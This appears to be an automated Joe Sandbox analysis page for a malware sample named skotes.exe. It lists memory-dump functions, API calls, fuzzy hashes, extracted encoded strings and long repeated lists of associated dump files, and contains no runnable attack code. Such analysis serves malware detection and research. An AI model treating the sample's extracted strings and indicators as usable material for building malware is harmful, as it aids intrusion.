Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d4e4bae03a3ee0671a0a33bf1db1be739a8750cfd9a45fbef71b63f07aad7916
Instruction ID: cd05ec2eac1fc29b71c8c336f52231874fd399fab1853843ab5faacfc301f33f
Opcode Fuzzy Hash: d4e4bae03a3ee0671a0a33bf1db1be739a8750cfd9a45fbef71b63f07aad7916
Instruction Fuzzy Hash: 32212531704200EBEB18DB68DC897ADB766EFD6311F244319E408D76D1D77EAA80C762

Function 007DD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,007DA813,00000001,00000364,00000006,000000FF,?,007DEE3F,?,00000004,00000000,?,?), ref: 007DD871

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 27125aa9832bc9a36e9a0da5ee3cdb32a7bdb0f704eb7fc03fbf27b0c6cace3b
Instruction ID: f6769835dd87fabc694ae5b46cb6726ee6b5f53d702ce85f3e546281ca266a37
Opcode Fuzzy Hash: 27125aa9832bc9a36e9a0da5ee3cdb32a7bdb0f704eb7fc03fbf27b0c6cace3b
Instruction Fuzzy Hash: 6DF02E31601124B6EB332A729C05A5B7779DF45770B148023FD0897381EA3CEC10A6E1

Non-executed Functions

Function 007DCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007DCC66

Strings

v}, xrefs: 007DCBE1

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v}
API String ID: 3213747228-3017820013
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 37180f2949dc37939cec606bb69100546894de936bf7c3b2f27a38c5a3d0e866
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 13B13672A052869FDB16CF68C8817AEBBF5EF45350F1441ABE949EB342D63C9D01CB60

Function 007A2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007A2F5F
__Mtx_unlock.LIBCPMT ref: 007A2FCC
__Cnd_broadcast.LIBCPMT ref: 007A2FE3
__Mtx_unlock.LIBCPMT ref: 007A30F5
__Mtx_unlock.LIBCPMT ref: 007A319B

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5ea8fc78b1eaa0ec0d221fe4c4ae66daa2999bcc30dd1faa04556e8dd207da48
Instruction ID: 698cb24d109626f6be01a4314ed8108178f2b544b719745ea5ae7deeeca268f5
Opcode Fuzzy Hash: 5ea8fc78b1eaa0ec0d221fe4c4ae66daa2999bcc30dd1faa04556e8dd207da48
Instruction Fuzzy Hash: 16A1D1B0A01605DFEB21DF64C949B9AB7E9FF56314F048229F815D7241EB39EA04CB91

Function 007BBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 007BBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 007BBBE4
_xtime_get.LIBCPMT ref: 007BBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 007BBC13

Memory Dump Source

Source File: 00000003.00000002.2408823354.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000003.00000002.2408792917.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408823354.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408892818.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408913501.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408938688.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408964315.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2408990879.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409265626.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409291889.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409322059.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409370945.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409393922.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409425696.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409452632.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409474141.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409495445.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409516026.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409536884.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409556051.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409578574.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409599207.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409619605.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409639563.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409663553.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409690289.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409718407.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409736977.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409758448.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409778684.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409797010.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409822148.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409843309.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409864117.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409883383.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409903538.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409922643.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409941428.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409963110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2409993331.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410014022.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410067755.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410087426.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410110222.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410131581.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410155664.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410175016.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410197376.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410221979.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2410243346.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: bc39c40729c932a84910385ef8d553ee0ddbb190b63dcddd977043ef58cbf6ea
Instruction ID: 53f51b03a251172b42ef9df421c510e2fc7fc8c6899231c4211cb82d657e5bab
Opcode Fuzzy Hash: bc39c40729c932a84910385ef8d553ee0ddbb190b63dcddd977043ef58cbf6ea
Instruction Fuzzy Hash: 0521ED76A00119EFDF01EFA4D885AFEBBB9EF48714F108065F901A7251DB789D019BA1

Analysis Process: skotes.exePID: 5024, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.4%
Total number of Nodes:	887
Total number of Limit Nodes:	104

Executed Functions

Function 007AE530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 968
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

111, xrefs: 007AF7A0
GnNoc2Hc, xrefs: 007AE56C
9c9aa5, xrefs: 007AFB8E
WTw=, xrefs: 007B097D
UA==, xrefs: 007AEB0F, 007AED56
#, xrefs: 007B0624
246122658369, xrefs: 007AF737, 007AFA14, 007B05E7, 007B099A
MQ==, xrefs: 007AE592
WDw=, xrefs: 007AF71D, 007AF9FA
WTs=, xrefs: 007B05CA
MGE+, xrefs: 007AE821

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
